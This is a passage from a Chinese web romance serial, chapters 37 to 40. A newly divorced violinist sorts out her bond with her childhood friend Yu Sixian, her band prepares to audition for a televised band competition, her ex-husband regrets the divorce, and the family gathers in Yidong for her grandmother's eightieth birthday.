她紧紧回抱了一下汪嘉文,“你也是,在乐团加油。” 再松开,汪嘉文笑着朝她挥了挥手,“那我走啦,再见,照霜。” “再见,”陆照霜注视着汪嘉文的背影,低不可闻地喃喃:“嘉文。” 高若涵一直屏气凝神,安静看着她们的告别。 林珩就没那么细腻了,看汪嘉文走了,他立刻抓住陆照霜的胳膊,一边拉着她往里走,一边兴致勃勃道:“好!既然我们成员都已经齐了,那就来商量一下接下来的事情吧!” 然而一只手再次打断了他的踌躇满志。 郁思弦攥住了他的手腕,迫使他不能不把陆照霜松开,而后在林珩莫名其妙的目光中,微微笑道:“已经很晚了,有什么事情明天再商量吧。” “况且……”郁思弦的目光又轻轻落在陆照霜脸上,意味深长道:“我们还有别的事情要谈,对吧,阿照?” * 如同往日一样走到停车场,但就在陆照霜要拉开车门之际,郁思弦忽然开口:“要不要散会步?” 陆照霜犹豫了一下,也就重新把车锁上了。 她和郁思弦一起走在申城音乐厅外的长街上。 此刻正是申城的夜生活繁盛之际,灯红酒绿人潮汹涌,各处店铺的广告和流行歌混杂在一起,是再热闹不过的时间。 可陆照霜只觉得静。 世界以他们为中心,被蒙上了一层模糊的罩子,只有站在中心的他们是清晰的。 好像她的每一个动作都变成了被拆分出的慢动作,让她觉得做什么都刻意、都不对。 他们明明真的有很多事应该谈谈,但真落了单,她又不知道该说什么了。 总不能说,你别把你的拍一拍设成那样吧? 她难道是小学生吗? 郁思弦并肩走在她身侧,只要垂眸,就能看见她苦恼的表情,眉头一会儿拧起、一会儿松开、一会儿又拧紧了。 他长睫下神色莫明,只是指腹在腿边轻点了一下,然后淡淡开口:“阿照,你最近在躲我?” “没有!”陆照霜立刻否认,“这不是最近准备音乐会比较忙嘛!” “这样啊,”郁思弦语气里没什么情绪,听不出信与不信,只是淡淡问:“那回伊冬的机票,为什么不等我一起订?我们从前不都是一起走的吗?” 他果然要问这个问题。 但陆照霜早有准备:“这不是奶奶的八十大寿吗?我不想因为离婚的事情让她烦心,所以一直在焦头烂额地想办法,看到底要怎么才能瞒住,尤其不能被我爸知道,所以我光顾着盯我爸的机票了,事情一多,就忘了告诉你了。” 她洋洋洒洒说了这么长一通,自认已经很有说服力了。 然而郁思弦听了,却只是低笑了一声,“阿照,对你来说,我不再是你的家人了吗?” 那语气很淡,淡得像是一只被人丢弃了以后心灰意冷的布偶猫。 陆照霜心脏蓦地就被揪紧了。 从八岁那年起,郁思弦就一直是跟她回伊冬过年的。 原因无他,只是七岁的春节,因为父母工作上突然有急事,于是陆照霜跟父母提前回了申城。 她理所当然地以为萧烨和郁思弦都正在和自己的家人一起共度春节。 但郁思弦没有。 他仍旧一个人待在他那个空空荡荡的房间,日复一日做着枯燥乏味的复健,看到她来了,他眼睛一下子亮起来,“阿照,你今年怎么这么早就回来了?” 那样高兴的语气,让陆照霜觉得好难过好难过。 她问了郁家的保姆阿姨,她们说郁叔叔是因为工作太忙,所以才不回来。 但那样的借口,连八岁的陆照霜都骗不了。 郁叔叔一定是,待在他重新组建的那个家里。 郁思弦每次春节,都是这样,一个人待在他的房间里,等她和萧烨回来的吗? 以后的每一年都要这样吗? 不行,她不要。 陆照霜绝对接受不了这样的事情。 她突然冒出来了一个念头,为什么她不可以带郁思弦回奶奶家过年呢? 在伊冬的那个家里,她有很好的奶奶、妈妈、哥哥和弟弟,他们对郁思弦,一定会比他的父亲和继母对他更好的。 但,很显然,这个提议得到了父母的一致否决——就算是关系再好的邻居,也断断没有把别人的小孩带走过年的道理。 直到有一天,妈妈终于在工作之余,抽空带她去儿童乐园玩耍,却在那里遇见了郁叔叔。 他和一个年轻漂亮的女人坐在一边,含笑看着一个幼童在塑料泡沫里扑腾。 如果不是还有一个根本不在场的郁思弦,那这个场面,真的是再温馨不过的一家三口。 陆照霜被气得眼眶红了,没有一丁点玩的心情了,打死也不肯再去那个儿童乐园。 妈妈没有反对,带她回家时沉默了一路。 最后到家门口的时候,妈妈看着隔壁那栋属于郁家的房子,忽然蹲下了身,认认真真看着她的眼睛。 “阿霜,思弦身体不好,如果你要邀请思弦来我们家过年,那你就要负起照顾思弦的责任,你明白吗?” 陆照霜毫不犹豫地用力点了点头。 于是八岁那年,陆照霜真的带着郁思弦回了伊冬。 不知道妈妈是怎么做到的,妈妈就是那么厉害的人,只要她下定决心,那她总会心想事成。 在抵达奶奶家的车上,郁思弦看上去非常局促不安。 于是她伸手过去拉住了他的手,向他郑重许诺:“别怕,思弦,我奶奶他们都很好很好的,以后我的家人就是你的家人。” 他怔怔地看着她,垂下眼睫,很久都不说话。 她想,他可能是害羞了。 在最后他们要下车的时候,她拉开车门拉手,准备跳下车,但另一只手却还被郁思弦紧紧拉在手里。 她纳闷地回过头。 就看到郁思弦柔软的黑发下,黑眸里的神色小心、谨慎、又执着。 他唇线绷紧,好一会儿,才问出口:“你也是吗?” 陆照霜茫然道:“是什么?” 郁思弦小声地重复了一遍,“我的家人……你也是吗?” 陆照霜恍然大悟,然后狠狠点头,再肯定不过地回答:“当然!” 当然,当然。 无论时光过去多久,无论将来我们会变成什么样子,只要你还觉得孤独,那我永远会做你的家人。 【作者有话说】 本章为周末加更,晚上九点还有正常更新。 感谢大家的支持! ps,[三花猫头]专栏预收文可以求大家康康吗 38/ 第38章 ◎只对我心软,好吗(第二更)◎ 陆照霜牢记着自己要照顾好郁思弦的责任,到了奶奶家以后,一直严防死守,就差没跟郁思弦寸步不离了。 生怕会有人问他家人去哪了,这种伤人的问题。 但妈妈应该是提前跟家里人解释过,所以郁思弦到了以后,大家什么也没问,都对郁思弦很友善。 可郁思弦好像是那种,别人对他越客气,他就越不自在的人。 看到他拘谨的样子,陆照霜又开始头疼了。 这可不是她带郁思弦回家的初衷。 于是经过一晚的深思熟虑,她用自己八岁的心智,做出了一个重大决定——她要把沈霖介绍给郁思弦! 七岁的沈霖实在是……太好哄了。 没两天,沈霖就开始整天缀在郁思弦后面,“哥哥、哥哥、哥哥”地叫。 她弟弟小时候真的是个非常粘人的小跟屁虫,一旦喜欢谁,就会很腻歪地黏在对方身边,恨不能全天候都待在一起。 别说是孤单寂寞了,陆照霜有时候甚至能从郁思弦脸上,看到一点被沈霖缠得头疼的苦恼。 这种时候,她总会心虚地别开眼。 咳咳,好吧,帮忙分摊一下沈霖的超高需求度,也算是她把沈霖介绍给郁思弦的一部分原因。 最后过完春节,他们要走的时候,沈霖闹着非要跟他们一起走,被她堂哥陆笙瑜拉住,才没能跟着钻进他们的车。 小孩子舍不得人的表情,是最简单、最诚挚、最让人揪心的东西。 陆照霜趴在后座椅背上,一直看着他的身影越来越小,直到消失不见,她心里空落落得很难受。 转过头时,她看到了郁思弦的表情,然后像怕惊动他一样,很轻地眨了下眼。 她好像从郁思弦的眼睛里,看到了与她相似的东西。 也是从那天起,她不再每天放学后都跑去郁思弦家里盯着他的。 因为他的眼睛不再空得像一只没有线的风筝了。 就那样,一年、又一年。 郁思弦在伊冬的那栋房子里,有了一个和他们一样,专属于他自己的房间。 任何人都不会特意询问他的行程,默认郁思弦是每年都会回伊冬的人之一。 沈霖不像小时候那么黏人,但照样毫无心理负担,会用各种事情去麻烦郁思弦,就像对她一样。 陆笙瑜性格中和郁思弦有种相似的冷淡,故而待在伊冬的时候,这两人经常坐一起喝喝茶下下棋。 十八年的时间。 他是他们没有血缘关系的家人。 郁思弦现在说什么,我不再是你的家人了吗? 好好好,他祭出这一招是吧? 那……那陆照霜只能立刻举手投降。 “是是是!当然是!”她认命地打开自己的电子机票,然后把手机倒转方向,递向他,“你订的哪天?给我改签吧。” 郁思弦却没有立刻接过,而是垂头直视着她的眼睛,轻声叹息,“阿照,你真的太心软了。” 这么直白的苦肉计她也上钩。 “是啊,”陆照霜耸耸肩笑笑,“谁让我对你没办法呢?” 郁思弦这才接过她的手机,直接选择了退票,“我们的票我已经买好了,待会我微信发给你。” 陆照霜睁大眼,简直想给他一拳,那他这算什么?势在必得赌她一定会认输吗? 郁思弦看着她气鼓鼓的样子,笑了一下,将她的手机重新递回来。 她去接,未料他没有及时收手,她连带着他的手指,一起握进了自己的掌心。 男人修长的指节就那样硌在她的手心。 人的体温应该是一样的吧,可为什么每次碰到郁思弦,她都觉得他的温度烫到让她根本忽视不了呢? 陆照霜陡然回过神来,立刻就要缩回手,却被郁思弦的另一只手攥住手腕。 “小心。”他淡淡道。 他把她按在那里,然后稳稳当当地,把手机放进她掌心。 在松开她之前,郁思弦微微低下头,隔着不能更近的距离,让她慌乱的目光无处可逃,“阿照,别对别人也这么心软,好吗?” 路边的烧烤摊有人正在开酒瓶。 “砰——” 她的心脏跟着被震得一跳。 * 第二天,陆照霜按照林珩发来的定位,找到了他们的新练习室。 虽然仍旧是在郊区,但是比之前的那个,实在是宽敞明亮了太多,阳光照进来的时候,给人一种生活在切切实实慢慢变好的感觉。 当然最重要的是,有空调了。 真是谢天谢地。 “哇,我们现在都能用上这么好的练习室了吗?”高若涵抚摸着崭新的设备,做梦一样吃吃笑道。 “你们也都知道,上间练习室的租金是我跟思弦借的,因为怕还不起嘛,所以不敢租贵的,一直委屈大家待在那种地方,”林珩摸了摸鼻子,声音有点哑,“我保证,我再也不会带你们回到那里了。” 唐湾拍了拍他的肩膀,安慰他,“小林,别给自己这么大压力,我们正常努力就好。” “不,”林珩抬眼,“我是认真的,我们一定要抓住这次机会。” 说完,他打开笔记本电脑,把网页展示给大家看。 陆照霜睫毛一颤。 之前郁思弦跟她提过的那个综艺《乐队人》终于来了。 唐湾和高若涵的呼吸都变得有些紧了。 也许圈外人不是很在意,但《乐队人》作为国内最有名的乐队综艺,对一个乐队的发展是有翻天覆地的影响的。 老牌乐队可以借此翻红,新人乐队每在这个节目上多待一期,就能多翻一倍粉丝,说是一步登天也不为过。 这简直是乐队人梦想中的天堂,搞乐队的谁不想上这个节目?但正因为它的热度,所以入选的条件太严苛了。 他们从前根本想都不敢想。 就算他们认识郁思弦,也从没动过别的心思。 无它,只是无论他们再怎么糊再怎么卑微,也不想连这一点自尊心都舍弃掉。 林珩垂着眸,轻描淡写地说:“我们之前在搁浅的演出视频,我从里面挑了表现最好的一次,发给了节目组,初筛通过了,九月上旬,我们去湘城参加现场海选。” 末了,他又道:“没走思弦的关系。” 整个练习室静了足足有五分钟,然后爆发出尖锐的爆鸣。 “真的吗!我没听错吧?” “我们要去参加《乐队人》了?!!” “勿凡姐你掐我一下,我不是在做梦吧?” 陆照霜玩乐队的时间还不久,暂时还无法对他们这样浓烈的兴奋完全感同身受,却还是被感染到,慢慢翘起了嘴角。 她情不自禁望向对面,靠窗站着的徐勿凡。 徐勿凡虽然没有像其他人那样大喊大叫,但她紧紧盯着那个网页,眼睛里闪动着一种陆照霜从未见过的陌生挣扎。 像深入骨髓的渴望,又像根深蒂固的厌恶。 陆照霜心中微动,正想问她还有什么疑虑时,林珩的声音打断了她。 “当然了!这还能有假的!” 林珩终于绷不住那张装冷静的面皮了,噗嗤笑了出来,眉毛都跟着得意地扬起:“通过初筛怎么了?我们一定会走到最后的!我有这个信心!” 唐湾这样稳重的人,今天都有点控制不住自己的兴奋,没有给林珩的宏伟梦想浇冷水,而是认真思考起来,“我连着两年的年假都没休过了,应该能空出很多时间练习。” 因为他这句话,现实的问题一下子袭了上来。 高若涵咬了咬牙,“只要能通过海选,我到时候就算是给我领导跪了也一定会把假请下来的!” “徐勿凡。”林珩抬眼望去,虽然试图用公事公办的语气,但声气明显比对其他人弱了半分。 “正好牧衡给的演出费应该够我们很长一段时间的开支了,最近就不要出去兼职了吧?我们这一阵再好好打磨一下,作为主唱,你的表现至关重要。” 徐勿凡点了点头,长睫微垂,看不出神色,只简单道了声:“好。” 还好大家已经习惯她的冷淡,并不因此失落,继续叽叽喳喳商量起之后的事情。 高若涵提议:“我们是不是该运营一下我们的官方账号啊?不然的话,没有粉丝支持恐怕会死得很惨。” 林珩觉得有理,“也对,下次去搁浅的时候,我们得让客人关注一下我们的微博!” 唐湾疑惑:“好是好,不过这要怎么运营啊?” 冲浪小能手高若涵立刻举手,“就把我们的演出视频放上去呗,反正搁浅又不是livehouse,牧衡哥不会介意视频流出去的。” “还有还有,林珩哥,记得传一些平时大家日常练习的视频,更有活人感。” 林珩听得头大,“那我把账号密码给你,你运营,有什么需要的视频跟我说,我发给你。” “也行。”高若涵果断地接过这项重任。 然而就在大家踌躇满志的时候,一个平静到近乎冷漠的声音响起。 “上节目的话,你没关系吗?” 大家都是一愣,齐齐朝说话的徐勿凡看去。 而徐勿凡的目光,正牢牢落在陆照霜身上。 “连搁浅这种地方,你都需要戴着面具,那你真的能上节目吗?” 大家好像这才恍然意识到这个问题。 别说戴着面具上节目现不现实了,就算是把面具焊死在她脸上,这个时代,难道网友能因为一张面具就扒不出背后的人? 看着大家都开始变得惊慌失措的目光,陆照霜笑了笑。 她直视着徐勿凡的眼睛,一字字回答:“可以,没关系了。” 徐勿凡意外地挑了下眉。 陆照霜抬手,用松松挽在腕上的发绳把自己的头发绑起来,然后朝高若涵林珩他们走去。 她还能想起戴上面具的那天。 她莽撞、草率,只凭着一腔冲动,敲开了郁思弦的房门,然后登上了那个舞台,那一天是她和这几个人故事的开始。 那天她不愿意去思考后果。 但郁思弦为她戴上了面具。 那是他为她准备的权宜之计。 把面具戴在她脸上的时候,郁思弦说的是,“在你真的做好准备之前。” 这一次,她真的做好准备了。 她在出去旅游的那一个月里想了很多很多,最后,从她向朱高远提出辞职的那一刻,无论是什么代价,她都愿意承担了。 陆照霜在其他人诧异的目光中,盘腿坐到他们身边。 “我知道,我加入你们的时间还很短,我也没有什么迫切的生存需要,非要在这个节目上取得什么成绩,也许在你们看来,我和玩票没什么两样。” 唐湾和林珩的眼神变了,唐湾犹豫了一下道:“小陆,我们没这么想,你能加入我们就已经很好了。” 陆照霜冲唐湾摇摇头,阻止了他继续安慰下去。 “我想对你们说的是,从选择加入你们的那一刻开始,我就是认真的,我知道这个节目对——” 陆照霜顿了顿,然后说:“‘我们乐队’很重要,所以,为了让我们可以留在这个舞台上,我会竭尽全力。” 从听到她说“我们乐队”开始,高若涵眼眶就红了。 她一把抱住了陆照霜的胳膊,很肯定地重复,“没错,是‘我们乐队’!” 陆照霜笑着揉了揉她的发顶,然后继续道:“经营账号这种事我也不太懂,小高如果你有什么需要的,可以告诉我,我会按你说的拍。” “至于我能做的……我会研究一下前两季的节目,看看究竟什么样的风格更能在节目出头,林珩你最好也研究一下,然后商量看看,我们的曲子还有什么可以改进的地方。” 她把任务说得这么干脆明白,林珩眼里的神色也就跟着坚定下来,“好。” 四人谈了半天,徐勿凡还一个人站在那边。 陆照霜在继续谈下去前,抬头叫道:“徐勿凡!” 徐勿凡抱着胳膊望过来,一脸“你有什么意见吗”的略带挑衅的表情。 陆照霜弯起眉眼,笑道:“别端着了,站在窗边耍帅,你以为你是柏原崇吗?” 徐勿凡愣了一下,然后被气笑了,也干脆坐了过来。 五个人围成了一个圈。 高若涵环视着大家,觉得这一幕特有纪念意义,因此提议道:“今天也算我们逃出人间正式起步的第一天,我们合张照吧?” 林珩很有些意动,但又犹豫了一下,“大家连队服都没穿呢,还是穿上队服再拍吧。” 陆照霜立刻警惕地坐直了身子。 不是,他真要穿着那种非主流T恤拍照片吗? 还好高若涵制止了这个可怕的可能。 “就不能现在拍一张,以后等大家穿上队服了再拍一张吗?”高若涵要不是还惦记着这是劳苦功高的队长,早都翻白眼了。 林珩只好妥协:“也行吧。” 于是高若涵举高了手机,“大家看过来看过来!唐哥你的脸都出了半圈了!勿凡姐你笑一笑嘛!哈哈,照霜姐你干得漂亮,就挠她!林珩哥你靠后一点,虚焦啦!” “咔嚓——” 照片定格。 最前面的高若涵笑得眉眼弯弯;最左边的林珩眼睛睁大,很不自然地假笑着;徐勿凡被挠得眼睛眯起,嘴巴张大,是从未有过的大笑;最右边,陆照霜因为做了恶作剧,眼睛半弯,藏着促狭的笑意;最顶上,是唐湾再憨厚不过的微笑。 很多年后,陆照霜偶尔会打开相册,看到这张照片。 那时她恍然地想,或许这就是他们最好的时候。 当你充满希望,而失望还未降临的那一刻。 就是最好的时候。 * 眼见着距离陆奶奶的寿诞只有几天,萧烨坐在办公室里,再次打开了他和陆照霜的聊天记录。 一看到陆照霜对他的那些叮嘱,他就觉得心烦。 他是缺那点买寿礼的钱还是怎么了?她非要自己买了然后以他的名义送出去? 这真的太让他如鲠在喉了。 可她都那么说了,难道他还要上赶着在离婚后当一个孝顺的孙女婿吗? 那就更荒唐了。 他烦躁地把手机倒扣在桌上,然后整个人向后倒进椅子里。 “咚咚。” 有人敲门,助理的声音在门外响起,“萧总。” 萧烨重新坐直了,“进。” 助理推门而入,将一只盒子放到他桌上,“您的手机坏得有些厉害,所以我换了好几家店才修好,让您等久了。” 萧烨颇有些意外。 这么长时间,他以为手机早就彻底报废了。 他不免对这位助理有些另眼相看,表扬了对方一句,才让对方离开。 他顺手打开盒子,给手机开机。 在屏幕亮起的那一刻,他被桌面上的小红点数量震惊到了。 就那几个小时而已,怎么会有这么多人找他? 他疑惑地打开通讯录,然后瞳孔骤然一凝。 并没有很多人找他,只有两个人而已。 陆照霜和郁思弦。 陆照霜给他打了几十通电话。 因为未接而变成红色的“阿霜”两个字,让他心脏忽然被拧紧了,一种极其糟糕的预感涌上心头。 是了,思弦说她那天在家晕倒了,也许,她给他打这么多电话,是因为想向他求助。 那天台风那么大,她一定很无助,可他偏偏和白斯榕待在一起…… 他慌忙打开微信,果然,还是只有郁思弦和陆照霜。 郁思弦只简单问了他为什么不接电话,就没有别的了。 而阿霜…… 他看着显示“99+”的消息提示,深吸了一口气,才有勇气打开,去面对她完全合乎情理的质问和指责。 但没有。 没有一条在说她身体不舒服,也没有一条是在指责他。 只有满屏几乎要溢出的担心,染红了他的眼睛。 【你在哪】 【台风来了,你有没有事】 【你到哪了】 【你跟我说句话】 【萧烨你别跟我开玩笑,你到底在哪】 【你说句话】 …… 【你到底在哪】 【求求你了萧烨跟我说句话】 39/ 第39章 ◎他逼她逃,也带她逃◎ 聊天记录一条条滑下去,那长到几无尽头的消息,看得萧烨双目通红,仿佛瞬间被带回了那个他再也不愿想起的台风天。 阿霜不是都在家高烧晕倒了?怎么还会在那种时候,还给他发这种消息啊? 是了,她平时是那么严谨的人,哪怕是在微信聊天的时候,也会带着标准的标点符号。 只有她急到几乎没有理智的情况下,才会慌乱到连断句都没有。 难怪在医院碰到的时候,她对他说的第一句话会是“原来你没事”。 她那么担心他,担心到了那种程度。 可最后他让她看到的,却是他和白斯榕待在一起的画面。 萧烨几乎不敢想阿霜当时会是什么心情。 她得有多伤心。 这两年来,无论他们之间冷战过多少次,最后无一例外,阿霜都会找个台阶下来。 他知道,因为她喜欢他。 大概正因为她喜欢他,所以那天晚上,他才把她的心都伤透了,要跟他提离婚。 可他之后都干了什么? 她跟他生气、闹离婚,他也生气,为了那一天的奔忙觉得委屈。 于是,他甚至没过问她那天到底经历了什么,被她一激,就又开始跟她对着来。 那可是阿霜,就算他对她开过再多次玩笑,他也不会真的想看她崩溃成那样。 萧烨再也看不下去那份聊天记录了,他把手机倒扣下去,双手捂住脸,胸口急促地起伏起来。 他不知道的……如果他知道是这样的话,他无论如何也不会对她说那些伤人的话的。 他不该那么草率地就答应和她离婚的,她在气头上,他也在气头上,婚姻这样重要的事情,就被他们这样糊里糊涂地结束了。 无论他们之间的婚姻是怎么开始的,但他原本是真的,想要和她重新开始,好好过的。 她在他已有的人生中已经存在了二十多年,可离婚以后,她就消失了。 他要怎么去想象,就因为一个荒谬的误会,他往后的人生里,再没有她的存在? 好半晌,他才从这一阵剧烈的情绪中缓了过来,打电话把助理叫了进来。 “看看日程,给我订去8月15之前能到伊冬的机票,空出几天的时间,我有私事要处理。”最后,萧烨又突然想起,“顺便,尽快订好一份寿礼。” 助理早已习惯自家老板突如其来的各种要求,速记在笔记本上后,又抬头问:“萧总,这份寿礼是给什么样的人准备的,要准备什么规格?” “八十岁的老人,虽然近些年退了下来,看着和善了很多,但早年也是在商场上杀伐果断的人物。至于规格,当然是越贵重越好。” * 8月13号,陆照霜抵达伊冬。 伊冬是一座临近雪山的小城,即便在八月的盛夏,依然维持着一个让人相当舒适的温度,到了夜间,甚至需要穿上外套。 往常一踏上伊冬的土地,陆照霜总会被那种澄澈到几乎毫无杂质的天空震撼到,从而忘记工作上的所有烦闷,心情畅快起来。 今天却是个例外。 她坐在后座,降下了全部车窗,单手支着下巴,望着窗外倒退的风景,却没有任何一片花草落进她的眼里。 “你们两吵架了?” 沈霖费解的声音从前排驾驶座传来。 沈霖比他们都到得早,故而专程来接他们两,结果陆照霜和郁思弦在机场就怪怪的,上了车以后,郁思弦倒还正常,陆照霜则从头到尾,就给车内留了个后脑勺。 “没有。”陆照霜矢口否认,坐直了一点,余光里郁思弦镇定看着她,好像是打定了主意要看她怎么应对。 她没好气地道:“坐这么久飞机,你还不许人累了?” “行行行,”沈霖敷衍地说:“这不是看你刚离婚嘛,怎么能这么没精神呢,让人看了还以为你多舍不得那混蛋呢?” 陆照霜立刻精神了,“谁舍不得了?” 她已经和一个月前那个崩溃大哭的自己正式割席。 沈霖透过后视镜看了一眼她的表情,乐了,“这就对了,哦忘了还没说,陆照霜,离婚快乐!” 他女朋友闻静坐在副驾上,也转过身子,长睫下藏着一种真心实意的赞同,“照霜姐,离婚快乐!” 这可真是一对,彻头彻尾支持她离婚的对象。 “好好好,”陆照霜无奈靠在椅背上叹了口气,“放心,我挺快乐的。” “思弦哥,你怎么不跟队型?你提前祝过她了吗?”沈霖顿了顿,突然警惕地问:“你不会还惦记着萧烨是你发小吧,那可不行,这事你可必须得站我们这边!” 郁思弦笑了下,“我好像确实没说过这种话。” 陆照霜的脊背僵了僵。 郁思弦那种异常专注、却又捉摸不透的目光又落在了她头顶,好像用一张网兜住了她的心脏,然后越收越紧。 叫她好想扑到窗边去呼口气。 “阿照,”郁思弦微微歪头,很认真地询问:“需要我祝你离婚快乐吗?” “不需要!” 陆照霜彻底把眼睛闭上了,“我累了我要睡一会儿,到家之前谁都别叫我。” 这原本只是个借口,但最后她真的睡着了。 醒来的时候,天已经黑了,沈霖和闻静都已经不知去向,只有耳边传来轻微的窸窣摩擦声。 她脑子还未完全清醒,侧脑硌在一片坚硬而不规则的地方上,很不舒服地蹭了一下,眼皮要睁不睁,迷糊问:“到了?” “到了,”男人比往常要温柔几分的声音近在咫尺,“你要困的话可以再睡会儿。” 熟悉的声音一瞬间唤醒了陆照霜沉睡的意识。 她一个激灵坐起身,僵硬地摸着自己被硌得发红的右脸,目光则停留在她刚才一直靠着的、郁思弦的肩膀上。 她就靠着他睡了一路吗? 感觉整个人都要死了。 “醒了?”郁思弦看了她一眼,收拾起手里的平板,手已经按在了车门拉手上,“那走吧。” 陆照霜可做不到像他这么淡定,她十分艰难地吐字,“既然我压到你了,你怎么不叫醒我?” 郁思弦长睫掀起,看着她,然后笑了。 他的手从车门上重新收了回来,好整以暇地看着她:“阿照,以前好像有很多次,你枕过我的肩膀,我也枕过你的肩膀,人累了的时候总会这样,你怎么这么大反应?” 车内狭窄到有些逼仄了,陆照霜下意识往车窗那边挪动了一下,试图靠近清凉的风。 但一点用也没有。 郁思弦的语气像是再诚挚不过的疑问:“现在对你来说,有什么不一样吗?” 他明明就坐在那里没动,只是看着她,却叫她觉得空气好像变得更稀薄了。 “奶奶应该已经等急了,我们先赶紧过去吧。”陆照霜偏过头去,飞速打开车门,也不等郁思弦就落荒而逃。 在她穿过庭院,前往灯火通明的宅子时。 郁思弦轻轻的笑声落在她身后,并没有任何不耐或者恼火,只透着股显而易见的愉悦。 进了家门,人已经到了不少,生面孔熟面孔混在一起,把陆奶奶围在中间。 陆奶奶一抬头,就看到了她,连忙招手,“阿霜,思弦,你们可算到了。” 陆照霜连忙走过去,坐在了奶奶旁边,郁思弦同周围人轻点了一下头,因着这边都是女眷,故而*坐在了另一边的单人沙发上。 陆奶奶拉着她的手,又打量着郁思弦的脸,心疼道:“半年不见,你们两个又瘦了,工作再忙也得顾好自己身体才行。” 陆照霜深知,就算自己现在连夜增重二十斤,在奶奶眼里她也还是太瘦了,笑了笑便也没反驳。 眼见着她一来,陆奶奶的注意力就全在她身上了,其他人看不过眼,便故意道:“阿霜啊,话说萧烨怎么没来,是还在路上吗?” 郁思弦的目光立刻从陆照霜眉眼间拂过。 陆照霜有些厌倦,淡声回答:“他工作忙,这次不来了。” 那亲戚哎呦了一声,“你说前两年他人在国外不回来也就算了,今年不是回来了么?怎么也这么不上心,阿霜,我跟你说,男人可不能这么惯着,不然那是越来越不上心的。” 陆照霜把喝到一半的茶放回桌子上。 真的很烦。 在她没离之前,见缝插针问她萧烨为什么不回来? 在她离了以后,还是问她萧烨为什么不回来。 她的人生除了萧烨就没别的可议论的了吗? 好像一群嗡嗡的苍蝇,扒在周围,非要从她的生活中嗅出一点可供饱餐的不幸证据。 换了其他时间,她就直接怼回去了。 但奶奶后天生日,她不想把寿宴的主角变成她自己。 指尖在掌心掐出一道深深的红痕,她已在唇边勾起一个得体的微笑,“您说的——” “阿照。” 郁思弦平静的声音打断了她的下文,他平淡地从手机上抬眼,“上次找你做顾问的那个项目,音源出了点问题,你方便过来看看吗?” 众人都是齐齐一愣。 继而反应过来,郁家是做影视娱乐业的,而陆照霜则是申城交响乐团的首席,两者有合作再正常不过。 陆照霜眼里只茫然了一秒,就立刻反应了过来。 “你说那个?如果影响很严重的话,我这边可能没有专业设备补录,但是如果着急的话,我可以请我同事帮忙录制。” 郁思弦垂眸静了几秒,似是在思索,而后点头,“也可以,你先过来看看,这个音源的问题还能不能弥补吧。” “好,”陆照霜站起身,抱歉地看向奶奶和众长辈,“抱歉,我先失陪了。” 他们两刚才一连串煞有其事的讨论把大家震得一愣一愣的,自然也说不出什么反对的话。 只有奶奶朝她眨了下眼,里面藏着洞若观火的笑意,“去吧,忙的话叫人直接把饭送过去,不用过来吃了。” “谢谢奶奶。” 陆照霜终于得以从亲戚中间脱身,和郁思弦一起出了门,沿着雕花的长廊,朝另一边专供娱乐的副楼走去。 周围一下子就变得安静起来。 伊冬的天空没有经历强烈的光污染,还有着可供人视物的清浅月光,哪怕路灯也无法完全掩盖属于月光的光辉。 陆照霜微微仰头,望着走在她身侧的郁思弦。 这样浅淡的银辉和暗色调,反而将他的骨相展现得纤毫毕现、凌厉逼人,是那副眼镜再也掩盖不住的俊朗和锋利。 所以,那些单独相处的时刻,被郁思弦逼得无处可逃时,她心底也并不是真的吃惊。 因为她大概早都发现了,郁思弦本质就是一个很有攻击性的人。 不是萧烨那样流于表面的攻击性,而是隐藏在深流里,不动声色等待着某些一击即中的机会。 她明明是很清楚这一面的,可与他相处时,却每每会遗忘,总是记得他的温和、他的周到、他的细致。 就像刚才,在她被别人围追堵截时,替她解围的人也是他。 逼她逃,也带她逃的郁思弦。 怎么会有他这样的人? 无论如何,她低着头,轻声道:“谢谢,帮我解围。” 郁思弦闻声停住。 他朝四周望了一眼,确认无人经过,而长廊恰好将他们完全遮挡在了主楼的可视范围外。 他这才伸手拉起她的左手,在她怔愣的目光中,指腹轻轻拂过被她掐出红印的地方。 “不舒服就不要硬待在那里,如果觉得不方便拒绝的话,那就交给我,我帮你说。” 那道红印被她掐着的时候不觉得疼,这会儿都快从皮肤上消失不见了,可被郁思弦精确无误地按住的时候。 陆照霜忽然觉得疼了。 怎么会有他这样的人? 她就算再想逃,也根本舍不得逃。 她默默把手缩了回去,低声叫他的名字,“思弦。” “嗯?”他低头看着她。 “别再那样了,我们就继续像以前一样吧。” 郁思弦没有反问她不要怎么样,而是问:“我让你觉得不舒服了吗?” “不是,”陆照霜赶忙摇了摇头,低垂着眼,艰难道:“就是,你最近让我觉得……变化好大,我不习惯……” 郁思弦沉默了一会儿,才继续问:“如果我再这样下去的话,你会彻底躲着不见我吗?” 陆照霜闭了闭眼,也过了很久,才回答:“……不会。” 郁思弦闻言笑了声,“那阿照,真遗憾,你只好继续不习惯下去了。” 陆照霜心头一跳,下意识抬眼。 郁思弦也正看着她。 他的目光温柔、执着,又藏着她难以理解的悲伤。 “阿照,你有没有想过,也许不是我变了,而是我向来如此呢?” 40/ 第40章 ◎他的体温也靠近了◎ 他这是什么意思? 陆照霜被他的目光钉在原地,动弹不得,也无法移开视线。 郁思弦一言不发,像是打定主意要她今晚想出点什么。 陆照霜的思绪和心跳都乱成了一团。 直到电话铃声突然从口袋里响起,将刚才焦灼的气氛搅得一干二净。 陆照霜宛如抓住了浮木的溺水者,连来电人名字也没看清就按下了接听。 “喂?”她一边把手机放到耳边,一边状似不经意往旁边走了两步,和郁思弦错开。 谁料对方第一句就是,“你是不是跟思弦哥在一块呢?” “……是。” 沈霖哼笑了一声,“你们两倒是溜得快,我出去搬个东西的功夫就没影了,怎么样,去不去打会儿麻将?我和闻静在棋牌室呢。” 陆照霜一手捂住手机听筒,一边问郁思弦,“沈霖叫我们去打麻将,你去吗?” “去,”郁思弦微微笑了笑,只是那笑容无端让陆照霜觉得,好像带着几分若有若无的杀意,“他都专门打电话问了,为什么不去?” 他们折身从后门回了主楼,绕过众人,悄悄上了三楼。 沈霖和闻静正坐在一张小桌前玩跳棋。 陆照霜:“……” 这么幼稚的小游戏,真亏这两人能玩得起来。 “你们终于来了!”沈霖惊喜抬头,一边说着,一边抬手就把跳棋棋盘上的棋子抹掉了,“来来来,换游戏!” 嗯,看上去连跳棋都输得很惨。 闻静深深看了沈霖一眼,倒也没恼,只是坐到了麻将桌旁,对他微笑了一下,“今晚我不会再帮你了。” 沈霖闻言挑眉,把袖子挽起,煞有其事道:“都说了是我没有认真打,不信试试!” 陆照霜简直没眼看。 伊冬地处偏僻,娱乐活动相当稀缺,因此大家聚在一起打牌也算是一项固定娱乐。 